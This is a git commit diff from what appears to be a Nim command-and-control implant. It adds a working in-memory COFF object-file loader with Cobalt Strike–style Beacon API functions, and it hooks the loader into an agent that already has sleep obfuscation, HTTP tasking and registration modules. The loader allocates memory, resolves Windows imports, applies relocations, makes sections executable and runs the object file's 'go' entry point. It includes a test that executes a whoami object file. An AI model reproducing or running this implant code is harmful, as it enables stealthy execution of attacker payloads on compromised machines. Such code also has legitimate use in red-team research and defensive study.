Implemented COFF loader.

This commit is contained in:
Jakob Friedl
2025-08-28 19:00:34 +02:00
parent e1ea085a0d
commit 957f96f1ca
5 changed files with 517 additions and 5 deletions

View File

@@ -26,4 +26,5 @@ requires "parsetoml >= 0.7.2"
requires "nimcrypto >= 0.6.4"
requires "tiny_sqlite >= 0.2.0"
requires "prologue >= 0.6.6"
requires "winim >= 3.9.4"
requires "winim >= 3.9.4"
requires "ptr_math >= 0.3.0"

86
src/agent/core/beacon.nim Normal file
View File

@@ -0,0 +1,86 @@
import winim/core
# Reference: https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/beaconapi.nim
type va_list {.importc: "va_list", header: "<stdarg.h>".} = object
proc puts(s: pointer): void {.importc, header: "<stdio.h>".}
proc vprintf(format: pointer, args: va_list) {.importc, header: "<stdio.h>".}
proc va_start(va: va_list, fmt: pointer) {.importc, header: "<stdarg.h>".}
proc va_end(va: va_list): void {.importc, header: "<stdarg.h>".}
type datap* {.pure.} = object
original: PCHAR
buffer: PCHAR
length: INT
size: INT
const
CALLBACK_OUTPUT* = 0x0
CALLBACK_OUTPUT_OEM* = 0x1e
CALLBACK_OUTPUT_UTF8* = 0x20
CALLBACK_ERROR* = 0xd
proc BeaconDataParse*(parser: ptr datap, buffer: PCHAR, size: INT): void =
if cast[int](parser) == 0:
return
parser.original = buffer
parser.buffer = buffer
parser.length = size - 4
parser.size = size - 4
parser.buffer = cast[PCHAR](cast[int](buffer) + 4)
proc BeaconDataInt*(parser: ptr datap): INT =
var fourbyteint: INT = 0
if (parser.length < 4):
return 0
copyMem(fourbyteint.addr, parser.buffer, 4)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
parser.length = cast[INT](cast[int](parser.length) - 4)
return fourbyteint
proc BeaconDataShort*(parser: ptr datap): SHORT =
var retvalue: SHORT = 0
if (parser.length < 2):
return 0
copyMem(retvalue.addr, parser.buffer, 2)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 2)
parser.length = cast[INT](cast[int](parser.length) - 2)
return retvalue
proc BeaconDataLength*(parser: ptr datap): INT =
return parser.length
proc BeaconDataExtract*(parser: ptr datap, size: ptr INT): PCHAR =
var
length: INT = 0
outdata: PCHAR = nil
if (parser.length < 4):
return nil
copyMem(length.addr, parser.buffer, 4)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + 4)
outdata = parser.buffer
if (outdata == nil):
return nil
parser.length = cast[INT](cast[int](parser.length) - 4)
parser.length = cast[INT](cast[int](parser.length) - length)
parser.buffer = cast[PCHAR](cast[int](parser.buffer) + length)
if (size != nil) and (outdata != nil):
size[] = length
return outdata
proc BeaconOutput*(typ: int, data: pointer, length: int): void =
puts(data)
proc BeaconPrintf*(typ: int, fmt: pointer): void {.varargs.} =
var va: va_list
va_start(va, fmt)
vprintf(fmt, va)
va_end(va)

427
src/agent/core/coff.nim Normal file
View File

@@ -0,0 +1,427 @@
import winim/lean
import os, strformat, strutils, ptr_math
import ./beacon
import ../../common/[types, utils, crypto]
import sugar
#[
Object file loading involves the following steps
1. Calculate and allocate memory required to hold the object file sections and symbols
2. Copy option sections into the newly allocated memory
3. Parse and resolve function symbols
4. Perform section relocations
5. Change memory protection and execute the entry point function
References:
- https://maldevacademy.com/new/modules/51
- https://github.com/m4ul3r/malware/blob/main/nim/coff_loader/main.nim
- https://github.com/frkngksl/NiCOFF/blob/main/Main.nim
]#
# Type definitions
type
SECTION_MAP = object
base: PVOID
size: ULONG
PSECTION_MAP = ptr SECTION_MAP
OBJECT_CTX_UNION {.union.} = object
base: ULONG_PTR
header: PIMAGE_FILE_HEADER
OBJECT_CTX {.pure.} = object
union: OBJECT_CTX_UNION
symTbl: PIMAGE_SYMBOL
symMap: ptr PVOID
secMap: PSECTION_MAP
sections: PIMAGE_SECTION_HEADER
POBJECT_CTX = ptr OBJECT_CTX
# For entry point execution
EntryPoint = proc(args: PBYTE, argc: ULONG): void {.stdcall.}
# Macro for page alignment ( important for calculating the total virtual memory required for the object file to be loaded and executed)
# #define PAGE_ALIGN( x ) (((ULONG_PTR)x) + ((SIZE_OF_PAGE - (((ULONG_PTR)x) & (SIZE_OF_PAGE - 1))) % SIZE_OF_PAGE))
const PAGE_SIZE = 0x1000
template PAGE_ALIGN(address: auto): uint =
if cast[uint](address) mod PAGE_SIZE == 0:
cast[uint](address)
else:
cast[uint](cast[uint](address) + ((PAGE_SIZE - ((cast[uint](address) and (PAGE_SIZE - 1))) mod PAGE_SIZE)))
#[
Calculates required memory size
]#
proc objectVirtualSize(objCtx: POBJECT_CTX): ULONG =
var
objRel: PIMAGE_RELOCATION
objSym: PIMAGE_SYMBOL
symbol: PSTR
length: ULONG
var sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
# Calculate size of the sections
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
length += ULONG(PAGE_ALIGN(sections[i].SizeOfRawData))
# Calculate function map size
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
# Iterate over section relocations to retrieve symbols
for j in 0 ..< int(sections[i].NumberOfRelocations):
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
# dump objSym.repr
# Retrieve symbol name
if objSym.N.Name.Short != 0:
# Short name
symbol = cast[PSTR](addr objSym.N.ShortName)
else:
# Long name
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
# Check if symbol starts with `__ipm_` (imported functions)
if ($symbol).startsWith("__imp_"):
length += ULONG(sizeof(PVOID))
# echo $symbol
# Handle next relocation item/symbol
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
return ULONG(PAGE_ALIGN(length))
#[
Symbol resolution
]#
proc strchr*(str: pointer, c: char): pointer =
var pStr = cast[ptr char](str)
while (pStr[] != '\0') and (pStr[] != c):
pStr = cast[ptr char](cast[int](pStr) + 1)
if pStr[] == c:
return cast[pointer](pStr)
else:
return nil
proc objectResolveSymbol(symbol: var PSTR): PVOID =
var
resolved: PVOID
function: PSTR
library: PSTR
pos: PCHAR
buffer: array[MAX_PATH, char]
hModule: HANDLE
if symbol == NULL:
return NULL
# Remove the `__imp_` prefix from the symbol (6 bytes)
symbol = cast[PSTR](cast[uint](symbol) + 6)
# Check if the symbol is a Beacon API function
if ($symbol).startsWith(protect("Beacon")):
case $symbol:
of protect("BeaconDataParse"):
resolved = BeaconDataParse
of protect("BeaconDataInt"):
resolved = BeaconDataInt
of protect("BeaconDataShort"):
resolved = BeaconDataInt
of protect("BeaconDataExtract"):
resolved = BeaconDataExtract
of protect("BeaconOutput"):
resolved = BeaconOutput
of protect("BeaconPrintf"):
resolved = BeaconPrintf
else:
# Resolve a external Win32 API function
# For external APIs, we will need to parse symbols formatted as LIBRARY$Function
zeroMem(addr buffer[0], MAX_PATH)
copyMem(addr buffer[0], symbol, ($symbol).len())
# Replace `$` to separate library and function
pos = cast[PSTR](strchr(addr buffer[0], '$'))
pos[] = '\0'
library = cast[PSTR](addr buffer[0])
function = cast[PSTR](cast[uint](pos) + 1)
# Resolve the library instance
hModule = GetModuleHandleA(library)
if hModule == 0:
hModule = LoadLibraryA(library)
if hModule == 0:
raise newException(CatchableError, fmt"Library {$library} not found.")
# Resolve the function from the loaded library
resolved = GetProcAddress(hModule, function)
if resolved == NULL:
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
echo fmt" [>] {$symbol} @ 0x{resolved.repr}"
RtlSecureZeroMemory(addr buffer[0], sizeof(buffer))
return resolved
#[
Object relocation
Arguments:
- uType: Type of relocation to perform
- pRelocAddress: Address where the relocation will be applied
- pSecBase: Base address of the section in the newly allocated object file, where the relocation needs to occur
]#
proc objectRelocation(uType: ULONG, pRelocAddress: PVOID, pSecBase: PVOID) =
var
offset32: ULONG32
offset64: ULONG64
case(uType)
of IMAGE_REL_AMD64_REL32:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32)
of IMAGE_REL_AMD64_REL32_1:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 1)
of IMAGE_REL_AMD64_REL32_2:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 2)
of IMAGE_REL_AMD64_REL32_3:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 3)
of IMAGE_REL_AMD64_REL32_4:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 4)
of IMAGE_REL_AMD64_REL32_5:
cast[PUINT32](pRelocAddress)[] = cast[UINT32](cast[uint](cast[PUINT32](pRelocAddress)[]) + cast[uint](pSecBase) - cast[uint](pRelocAddress) - sizeof(UINT32).uint32 - 5)
of IMAGE_REL_AMD64_ADDR64:
cast[PUINT64](pRelocAddress)[] = cast[UINT64](cast[uint](cast[PUINT64](pRelocAddress)[]) + (cast[uint](pSecBase)))
else: discard
#[
Section processing
]#
proc objectProcessSection(objCtx: POBJECT_CTX): bool =
var
secBase: PVOID
secSize: ULONG
objRel: PIMAGE_RELOCATION
objSym: PIMAGE_SYMBOL
symbol: PSTR
resolved: PVOID
reloc: PVOID
fnIndex: ULONG
var
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
symMap = cast[ptr UncheckedArray[PVOID]](objCtx.symMap)
# Process and relocate object file sections
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
objRel = cast[PIMAGE_RELOCATION](objCtx.union.base + sections[i].PointerToRelocations)
# Iterate over section relocations to retrieve symbols
for j in 0 ..< int(sections[i].NumberOfRelocations):
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + cast[int](objRel.SymbolTableIndex))
# Retrieve symbol name
if objSym.N.Name.Short != 0:
# Short name
symbol = cast[PSTR](addr objSym.N.ShortName)
else:
# Long name
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
# Retrieve address to perform relocation
reloc = cast[PVOID](cast[uint](secMap[i].base) + uint(objRel.union1.VirtualAddress))
resolved = NULL
# Check if symbol starts with `__ipm_` (imported functions)
if ($symbol).startsWith("__imp_"):
# Resolve the imported function
resolved = objectResolveSymbol(symbol)
if resolved == NULL:
return false
# Perform relocation on the imported function
if (objRel.Type == IMAGE_REL_AMD64_REL32) and (resolved != NULL):
symMap[fnIndex] = resolved
cast[PUINT32](reloc)[] = cast[UINT32]((cast[uint](objCtx.symMap) + uint(fnIndex) * uint(sizeof(PVOID))) - cast[uint](reloc) - uint(sizeof(uint32)))
inc fnIndex
else:
secBase = secMap[objSym.SectionNumber - 1].base
# Perform relocation on the section
objectRelocation(cast[ULONG](objRel.Type), reloc, secBase)
# Handle net relocation item/symbol
objRel = cast[PIMAGE_RELOCATION](cast[int](objRel) + sizeof(IMAGE_RELOCATION))
return true
#[
Object file execution
Arguments:
- objCtx: Object context
- entry: Name of the entry function to be executed
- args: Pointer to the address of the arguments passed to the object file
- argc: Size of the arguments passed to the object file
]#
proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: PBYTE, argc: ULONG): bool =
var
objSym: PIMAGE_SYMBOL
symbol: PSTR
secBase: PVOID
secSize: ULONG
oldProtect: ULONG
var secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
for i in 0 ..< int(objCtx.union.header.NumberOfSymbols):
objSym = cast[PIMAGE_SYMBOL](objCtx.symTbl + i)
# Retrieve symbol name
if objSym.N.Name.Short != 0:
# Short name
symbol = cast[PSTR](addr objSym.N.ShortName)
else:
# Long name
symbol = cast[PSTR]((cast[uint](objCtx.symTbl) + uint(objCtx.union.header.NumberOfSymbols) * uint(sizeof(IMAGE_SYMBOL))) + cast[uint](objSym.N.Name.Long))
# Check if the function is defined within the object file
if ISFCN(objSym.Type) and ($symbol == $entry):
# Change the memory protection of the section to make it executable
secBase = secMap[objSym.SectionNumber - 1].base
secSize = secMap[objSym.SectionNumber - 1].size
# Change the memory protection from [RW-] to [R-X]
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
# Execute BOF entry point
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
entryPoint(args, argc)
# Revert the memory protection change
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
raise newException(CatchableError, $GetLastError())
return true
return false
#[
Loads, parses and executes a object file in memory
Arguments:
- pObject: Base address of the object file in memory
- sFunction: Name of the function to be executed, usually "go"
- pArgs: Base address of the arguments to be passed to the function
- uArgc: Size of the arguments passed to the function
]#
proc inlineExecuteObjectFile*(pObject: PVOID, sFunction: PSTR = "go", pArgs: PBYTE, uArgc: ULONG): bool =
var
objCtx: OBJECT_CTX
virtSize: ULONG
virtAddr: PVOID
secSize: ULONG
secBase: PVOID
if pObject == NULL or sFunction == NULL:
raise newException(CatchableError, "Arguments pObject and sFunction are required.")
# Parsing the object file's file header, symbol table and sections
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
objCtx.symTbl = cast[PIMAGE_SYMBOL](cast[int](pObject) + cast[int](objCtx.union.header.PointerToSymbolTable))
objCtx.sections = cast[PIMAGE_SECTION_HEADER](cast[int](pObject) + sizeof(IMAGE_FILE_HEADER))
# echo objCtx.union.header.repr
# echo objCtx.symTbl.repr
# echo objCtx.sections.repr
# Verifying that the object file's architecture is x64
when defined(amd64):
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
raise newException(CatchableError, "Only x64 object files are supported")
else:
raise newException(CatchableError, "Only x64 object files are supported")
# Calculate required virtual memory
virtSize = objectVirtualSize(addr objCtx)
echo fmt"[*] Virtual size of object file: {virtSize} bytes"
# Allocate memory
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
if virtAddr == NULL:
raise newException(CatchableError, $GetLastError())
# Allocate heap memory to store section map array
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
if objCtx.secMap == NULL:
raise newException(CatchableError, $GetLastError())
echo fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
# Set the section base to the allocated memory
secBase = virtAddr
# Copy over sections into the newly allocated virtual memory
var
sections = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](objCtx.sections)
secMap = cast[ptr UncheckedArray[SECTION_MAP]](objCtx.secMap)
echo "[*] Copying over sections."
for i in 0 ..< int(objCtx.union.header.NumberOfSections):
secSize = sections[i].SizeOfRawData
secMap[i].size = secSize
secMap[i].base = secBase
# Copy over section data
copyMem(secBase, cast[PVOID](objCtx.union.base + cast[int](sections[i].PointerToRawData)), secSize)
echo fmt" [>] {$(addr sections[i].Name)} @ 0x{secBase.repr} ({secSize} bytes))"
# Get the next page entry
secBase = cast[PVOID](PAGE_ALIGN(cast[uint](secBase) + uint(secSize)))
# The last page of the memory is the symbol/function map
objCtx.symMap = cast[ptr PVOID](secBase)
echo "[*] Processing sections and performing relocations."
if not objectProcessSection(addr objCtx):
raise newException(CatchableError, "Failed to process sections.")
# Executing the object file
echo "[*] Executing."
if not objectExecute(addr objCtx, sFunction, pArgs, uArgc):
raise newException(CatchableError, fmt"Failed to execute function {$sFunction}.")
return true
proc test*() =
var
fileName = "whoami.x64.o"
pObject = readFile(fileName)
uLength: ULONG = cast[ULONG](pObject.len)
echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)"
try:
if not inlineExecuteObjectFile(addr pObject[0], "go", NULL, 0):
echo fmt"[-] Failed to inline-execute {fileName}"
except CatchableError as err:
echo "[-] ", err.msg

View File

@@ -3,8 +3,6 @@ import winim/inc/tlhelp32
import os, system, strformat
import ../../common/[types, utils, crypto]
import sugar
# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
# https://maldevacademy.com/new/modules/54

View File

@@ -1,6 +1,6 @@
import strformat, os, times, system, base64
import core/[http, context, sleepmask]
import core/[http, context, sleepmask, coff]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto]
@@ -69,5 +69,5 @@ proc main() =
except CatchableError as err:
echo "[-] ", err.msg
when isMainModule:
when isMainModule:
main()